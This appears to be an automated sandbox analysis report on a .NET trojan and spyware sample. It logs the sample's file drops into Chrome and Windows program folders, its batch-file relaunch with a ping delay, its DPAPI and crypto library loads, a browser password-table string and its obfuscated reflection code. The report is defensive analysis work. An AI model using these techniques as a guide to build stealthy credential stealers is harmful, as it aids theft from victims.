Source: DWTukBG9R7.exe, NVGrnZ6sRyukoNyTRNq.cs	Cryptographic APIs: 'CreateDecryptor'
Source: DWTukBG9R7.exe, NVGrnZ6sRyukoNyTRNq.cs	Cryptographic APIs: 'CreateDecryptor'
Source: DWTukBG9R7.exe, NVGrnZ6sRyukoNyTRNq.cs	Cryptographic APIs: 'CreateDecryptor'
Source: DWTukBG9R7.exe, NVGrnZ6sRyukoNyTRNq.cs	Cryptographic APIs: 'CreateDecryptor'

Source: DWTukBG9R7.exe, 00000000.00000002.2143027302.0000000001316000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: ;.VBP

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/292@0/1

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

File created: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe

Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

File created: C:\Users\user\Desktop\EZaEGMWX.log

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Mutant created: NULL
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\49a7125ac1d045f1a824ed1f4915c775a8bbbc79d977aa8324c4215a30c82283
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3228:120:WilError_03

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

File created: C:\Users\user\AppData\Local\Temp\sc4XDDKYyc

Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat"

Source: DWTukBG9R7.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: DWTukBG9R7.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 49.80%

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 7sfiYeEixm.6.dr, lgIFI3PjN7.6.dr, TVrj8K5SiD.6.dr, QyTIOMdzGJ.6.dr, 0ZiuZvpHA4.6.dr, LCnxfYaxr2.6.dr, WTWwIuwfSB.6.dr, 7W6zaApvPs.6.dr, 2jg7WK3y9r.6.dr, GPD8pB49av.6.dr, 6VWX8clHrD.6.dr, k7QgpltPQn.6.dr, SA2sSxzJwl.6.dr, sBJiIvSxLt.6.dr, 1l9isteyvs.6.dr, NCbOckzJKd.6.dr, u3ZoWelDE8.6.dr, KCp587AFTl.6.dr, 2tTO2Yp5yb.6.dr, EaHDP5MxON.6.dr, dnjNSv8tPU.6.dr, VOlMonbq2z.6.dr, 2s3yKXQLT0.6.dr, En2BzmX98b.6.dr, osbiO5cwjQ.6.dr, GgPab8Q03M.6.dr, fI9GK2E8sm.6.dr, AdnET5aA3W.6.dr, XqJi48QepW.6.dr, YAEWKfdlLC.6.dr, X5FXp3SoWY.6.dr, cRv9h3KbIa.6.dr, irwp7B2Gsm.6.dr, Ky67uFf4tm.6.dr, ZhdjtXmbQE.6.dr, rUULAmAKp5.6.dr, 0Uc4Qltiv1.6.dr, hb44gkqzlh.6.dr, 7FVNcrpX33.6.dr, GFnj40L6g3.6.dr, tH0EDMMUF9.6.dr, 0NFlzOsjR1.6.dr, vD7AZCLniO.6.dr, iHYraDCjWv.6.dr, mP1dNz4Ymo.6.dr, 006K0gXWry.6.dr, eLGxZh33Te.6.dr, 7pXL2WFj4t.6.dr, FXf58Nhh5w.6.dr, 99bA2CtBkw.6.dr, pZpKRb8nOV.6.dr, 7Fi7l4RADt.6.dr, sFhClImwf9.6.dr, foOjEIm3EO.6.dr, FT4Q6lH5cA.6.dr, wOyeWmdfCp.6.dr, FBHp110LgW.6.dr, qcWCdgWhuB.6.dr, u1OsIhjqMt.6.dr, cWokhaApoN.6.dr, FD0Q2dm1rO.6.dr

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: DWTukBG9R7.exe

ReversingLabs: Detection: 68%

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

File read: C:\Users\user\Desktop\DWTukBG9R7.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\DWTukBG9R7.exe "C:\Users\user\Desktop\DWTukBG9R7.exe"
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe "C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe"
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\NRc8fv8OU7.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\PING.EXE ping -n 10 localhost	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe "C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe"	Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: dlnashext.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: wpdshext.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: ulib.dll	Jump to behavior
Source: C:\Windows\System32\chcp.com	Section loaded: fsutilext.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: ktmw32.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: winmmbase.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: mmdevapi.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: devobj.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: ksuser.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: avrt.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: audioses.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: msacm32.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: midimap.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\DWTukBG9R7.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\Chrome\Application\SetupMetrics\88d13acbc29308	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Windows NT\TableTextService\jXzXDduVeIqOfFYGnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Windows NT\TableTextService\88d13acbc29308	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\jXzXDduVeIqOfFYGnN.exe	Jump to behavior
Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Directory created: C:\Program Files\Google\88d13acbc29308	Jump to behavior

Source: DWTukBG9R7.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: DWTukBG9R7.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: DWTukBG9R7.exe

Static file information: File size 2742784 > 1048576

Source: DWTukBG9R7.exe

Static PE information: Raw size of .text is bigger than: 0x100000 < 0x29d200

Source: DWTukBG9R7.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Data Obfuscation

.NET source code contains method to dynamically call methods (often used by packers)

Source: DWTukBG9R7.exe, NVGrnZ6sRyukoNyTRNq.cs

.Net Code: Type.GetTypeFromHandle(iSUfqm4lIOGNpe3ZOPM.isjYDMcx8Wf(16777425)).GetMethod("GetDelegateForFunctionPointer", new Type[2]{Type.GetTypeFromHandle(iSUfqm4lIOGNpe3ZOPM.isjYDMcx8Wf(16777246)),Type.GetTypeFromHandle(iSUfqm4lIOGNpe3ZOPM.isjYDMcx8Wf(16777260))})

Source: C:\Users\user\Desktop\DWTukBG9R7.exe	Code function: 0_2_00007FF848F24B7C push ecx; retf	0_2_00007FF848F24B86
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF848F14B7C push ecx; retf	6_2_00007FF848F14B86
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8491660B6 push ecx; retf	6_2_00007FF8491660BC
Source: C:\Program Files\Google\Chrome\Application\SetupMetrics\jXzXDduVeIqOfFYGnN.exe	Code function: 6_2_00007FF8496B68B7 push ecx; ret	6_2_00007FF8496B68BC

Source: DWTukBG9R7.exe, gPqKfazG4vDaeveFem.cs	High entropy of concatenated method names: 'ditMMHKw9o', 'SlgMtC5hCb', 'gg1M5jQy2L', 'P7XM86jgOY', 'kZQMDIQyhA', 'lXAMJrPjo8', 'qdlMrL99Bg', 'UaZmeHMWUdoU3Lbe3ang', 'gAr94DMW9oh242joZUqQ', 'DSaO8VMWEEvc5lPAWinT'
Source: DWTukBG9R7.exe, n8FwPNxjcZXW8Uj0wHn.cs	High entropy of concatenated method names: '_25r', 'h65', 'tOkxTpKj4Z', 'FvZxnIccmU', 'k1fxIeFNPb', 'AWD', 'd78', 'A6v', 'dqG', 'M96'
Source: DWTukBG9R7.exe, RZSrmcMiEGUuPrw643s.cs	High entropy of concatenated method names: 'io8', 'V29', 'j67', '_2Q4', 'pi9', 'JmEMcdoNbEQ', 'zxrMtThkSEG', 'Xi5ERUMUWBiDLQjnauag', 'IqIaUkMUUVwG7Wa7GhWB', 'JcHZNMMU9rZChHj5SYuV'
Source: DWTukBG9R7.exe, D8flxT5n37BuBakvS38.cs	High entropy of concatenated method names: 'lOp54h767u', 'gQy5CAptXN', 'FlP5zSGGBf', 'hWrq6FM3PCmhZJ4mkOTD', 'rdrrv4M3n6SjGyo4nSBn', 'bN9OwlM3IKr0An9RJs6y', 'cCI5PRN1aS', 'fn257sB5AW', 'hvW5if09Rx', 'xcabevM3NidqqR2GoFl2'
Source: DWTukBG9R7.exe, bPk2Oj3W2dWA8vopwhL.cs	High entropy of concatenated method names: '_57l', '_9m5', 't8K', 'k49', 'p65', '_3B1', '_4Pp', '_3M7', '_7b3', 'fAL'
Source: DWTukBG9R7.exe, GQ7ijiTndtJx1sENH3u.cs	High entropy of concatenated method names: 'TWOMcNL8F2w', 'tNxTPy6Rtw', 'XofT7cQ772', 'h36TiKaWX5', 'VSsFQLM7uO2FsMlsx66N', 'tGHGqDM7WRxigV4AwEdV', 'UvtSp9M7UjgPm54DHyrh', 'aGJy8AM79i83xkVtGkEf', 'HIgqgrM7EAA7wfF2cLkS', 'KY0RBSM73CnrrI6IT8JO'
Source: DWTukBG9R7.exe, zXMwC59mOonhwiJfu90.cs	High entropy of concatenated method names: 'Oqf9yEZdvZ', 'BXC9hyMNt9', 'Le39OHPJrN', 'Fid9BjsUDu', 'xof9Ng3dFj', 'pC89byRyP3', '_4tg', 'wk8', '_59a', '_914'
Source: DWTukBG9R7.exe, DnLORN3HYFx3Y843GOg.cs	High entropy of concatenated method names: 'dm33xxS7T1', 'n4W32eOpVG', 'l7x3fvFhIN', 'Y34', '_716', 'p32', 'Na8', 'X25', 'pT1', 'wnk3eiF6MX'
Source: DWTukBG9R7.exe, tpEJeMUGWw8pFWNd2sR.cs	High entropy of concatenated method names: 'OprUgc3I4t', 'xNTUV0By8H', 'JVkUFeOFgt', 'lCjnIKMNzGWxicXOaFRF', 'SqJuFrMN4dP1QUIBUSIn', 'QXfo8RMNCyJvk0twkXtb', 'NGPo6yMbK79GPbqT24ao', 'yQnrgvMbM6Hp87wemLM9'
Source: DWTukBG9R7.exe, kFAUMWUZCgkJFhAKUKv.cs	High entropy of concatenated method names: 'w8rUvhbU1c', 'DZpUSF8CJA', 'qssUX3Y341', 'iZCUAH6nsn', 'DKDU0Jij27', 'HinUuv22DD', 'ieo7leMbG79l3nPibl0a', 'OrJkj9MbpchY09WmHXUx', 'EW0s0DMbgvC7p7w3hWpu', 'Sy4LIiMbVT9AsvrPdAaO'
Source: DWTukBG9R7.exe, y4UBLgaZ4vJne3KeTA4.cs	High entropy of concatenated method names: 'uS5SWnMPU8KvgqmOUpS7', 'OvLbDmMP9JFDJYWIuGwP', 'IKfYIvMPuaUpW3IlT6jv', 'gnameSMPWQDCWk8GKMc6', 'lT454oMPS6hauMt4dZbU', 'Th8BHgMPXRZ94yr1Rt6C', 'V8d1mfMPAY8oXeFTItif', 'uiTtexMPsSQtoVRV6rd1', 'Oa2mIsMPvpHLxlIJE5qo'
Source: DWTukBG9R7.exe, bZuAXQwzdGK5xwEyRcD.cs	High entropy of concatenated method names: '_26K', '_1U7', '_5gR', '_58D', 'H8v', 'CNLLMJt12o', 'AAKLY6WGhv', 'gY2', 'rV4', '_28E'
Source: DWTukBG9R7.exe, hv1cV8on3xfGv3byLKc.cs	High entropy of concatenated method names: 'p9noPTP4RJ', 'hYYo7jot9B', 'lx8oi47xmB', 'E8Wo6vEow8', 'XTYoRhVne4', 'kCjo4l1YpF', 'SWgoCHNUDN', 'YtZozlWdFq', 'YVdTKlNwWR', 'Wt1TMKFpUN'
Source: DWTukBG9R7.exe, xKhmVYJXA7xiHRSNPU0.cs	High entropy of concatenated method names: 'DfyJEQcRjy', 'PtZvxvMxlAft8V4tQ6hs', 'WjDxd9MxwdPHm3KZ4u9M', 'jHkjrvMxLcv2qGG0kZ2d', 'rOy6XUMxqPMbjpNwGkcC', 'HLBJ0F60AJ', 'zScpyIMxGdbSBadvg3TW', 'A7npCLMxplALPt51qEES', 'Bgl2I8MxgH6ko83P3DR7', 'T0BeFQMxVJ0bPB6hRGBW'
Source: DWTukBG9R7.exe, FdBvogn37sF072R0x7m.cs	High entropy of concatenated method names: 'H1nnx9Q9EC', 'RA0nahPIA5', 'VnrnyWAYMw', 'FuDnhlU6pN', 'wRWnO2Npd5', 'gXvnBtm5rH', 'icFnNJgIQB', 'nennbtrJis', '_0023Nn', 'Dispose'
Source: DWTukBG9R7.exe, ziVR71t2ptTl160RHr2.cs	High entropy of concatenated method names: 'LRNte6F5FA', 'sb1taWTbUL', 'xcAtmwikqs', 'gLYt1IXPlg', 'YZatyrjSHs', 'Emlth5GgiH', 'aXOtOdJNZm', 'aGOtBvKHDd', 'JLitN17AjQ', 'Gxqtb8B6bD'
Source: DWTukBG9R7.exe, R27xJPGrcBgOSDBweKr.cs	High entropy of concatenated method names: 'rZxGFOKHSu', 'DMwTqyMfTBlKgLGBVM9t', 'ygv2PuMfj1ifK7tZNBBo', 'WHKrfJMfoseG3EMtou7r', 'LrHht4MfnHD19U5uuAXv', 'nhc1FvMfIFe9o6lg2AGs', '_53Y', 'd65', 'efKM5XtJYBj', 'CXIM5ApYicC'
Source: DWTukBG9R7.exe, BnLbGHFIshLggppLZhJ.cs	High entropy of concatenated method names: 'nBwF7nT4wD', 'xvZFiAxPuq', 'xOmF6U2thr', 'xS3FRLWtiM', 'R62F4jGQVt', 'aNefUgMmH3tH0k7yNScm', 's8GIXKMmEOGDWMt0SZJr', 'sX6HZ7Mm3WtiD4j2u5jR', 'k83ZYFMmQPIYUjv6jDIh', 'xXrokxMmxKyeGi07fr94'
Source: DWTukBG9R7.exe, Yysv3NtG44ojcWWPXcI.cs	High entropy of concatenated method names: 'O77tgJpAoF', 'SXitVXqZvQ', 'IVetFU11T4', 'xD6WifM979TVRhkI651J', 'SuNSQUM9InIfYhxq9jMK', 'weZtKAM9P3CboeZrO8El', 'tlkM9iM9i4AidVKDP497', 'CfffRnM96kEerlFiHxIK', 'uq1NP7M9RTPZxhvE2q52', 'BgdtcvM94UeHHYYlBJJk'
Source: DWTukBG9R7.exe, N8Mk9pYONA3x8IFIxig.cs	High entropy of concatenated method names: 'C0eY4V74FU', 'o0tYCHvApt', 'KY7YzlAh3N', 'MDdVrlM9aO757ujrj1Fb', 'LwUoMOM9mDLSdhp60Z3J', 'CZwjLFM91nWd8KIpkq7c', 'xiPt8TujL5', 'pglMoNM9BrwCKjttiijF', 'e6BHOoM9h8KOZnuRiTMT', 'ckKmwfM9OhxZkLb3r0Jf'
Source: DWTukBG9R7.exe, kqsxWAYEp7rYcAGlclM.cs	High entropy of concatenated method names: 'NBUY1iD8i2', 'mJiio2M9qiWjFsSYu7GN', 'Pe9tXnM9deXLCSR0HWVg', 'BUockRM9LQVXyPTsnsOu', 'W8AU2OM9lfcKHm72GU08', 'WCMy7OM9ZbEO2rr7S4Fq', 'Af86Y9M9sOs52wHRsANT', 'BuVYHClCyr', 'jPaYQi9wk6', 'vF4YxGPWp7'
Source: DWTukBG9R7.exe, mTAXG5GQcTZyNY8eUfs.cs	High entropy of concatenated method names: 'Yi3', 'NaeMcxyP6RZ', 'eS8G2UfGOb', 'CE7Mc2jlILw', 'suxC2LMek4Fd8sI0cNWk', 'c9HGELMewJTFp8U3d8wp', 'u498KMMeVqiemC8Vw6Ct', 'LhG8JCMeFXTAyvraokM6', 'NSfTqbMeLN03ZYXW4TVX', 'HQSCoYMelcpi7IB2cMBy'
Source: DWTukBG9R7.exe, cLdD7xIVxIkBu5fNcqZ.cs	High entropy of concatenated method names: 'agBMDeJ9kdJ', 'lSRMDa8B7Ks', 'rRqMDm6C6qO', 'pUjJkAM699fSZgpB7ltJ', 'TH8klfM6WlbnDLyyRHjx', 'N6FLv2M6U1C2ojQ3K5k2', 'efYBIdM6ErGWHeeY0f6g', 'xhNMcbFtR4i', 'lSRMDa8B7Ks', 'Y3HW95M6xi5I1kTiYEiH'
